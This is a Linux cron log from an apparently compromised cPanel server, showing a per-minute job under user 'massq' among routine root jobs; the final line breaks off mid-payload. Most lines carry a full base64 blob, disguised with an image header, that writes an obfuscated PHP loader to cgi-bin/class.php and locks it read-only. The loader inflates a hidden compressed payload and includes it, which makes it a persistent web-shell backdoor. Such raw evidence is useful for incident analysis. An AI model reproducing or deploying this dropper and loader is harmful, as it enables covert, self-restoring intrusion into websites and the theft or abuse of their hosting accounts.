Apr  7 18:22:01 server CROND[8376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:23:01 server CROND[8446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:24:01 server CROND[8511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:25:01 server CROND[8662]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 18:25:01 server CROND[8663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:25:01 server CROND[8664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:25:01 server CROND[8667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:26:01 server CROND[8784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:27:01 server CROND[8841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 18:27:01 server CROND[8842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:28:01 server CROND[8895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:29:01 server CROND[8972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:30:01 server CROND[9034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:30:01 server CROND[9035]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:30:01 server CROND[9036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:30:01 server CROND[9037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:31:01 server CROND[9157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:32:01 server CROND[9301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:33:01 server CROND[9359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:34:01 server CROND[9430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:35:01 server CROND[9496]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:35:01 server CROND[9498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:35:01 server CROND[9499]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 18:35:01 server CROND[9497]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 18:35:01 server CROND[9500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KC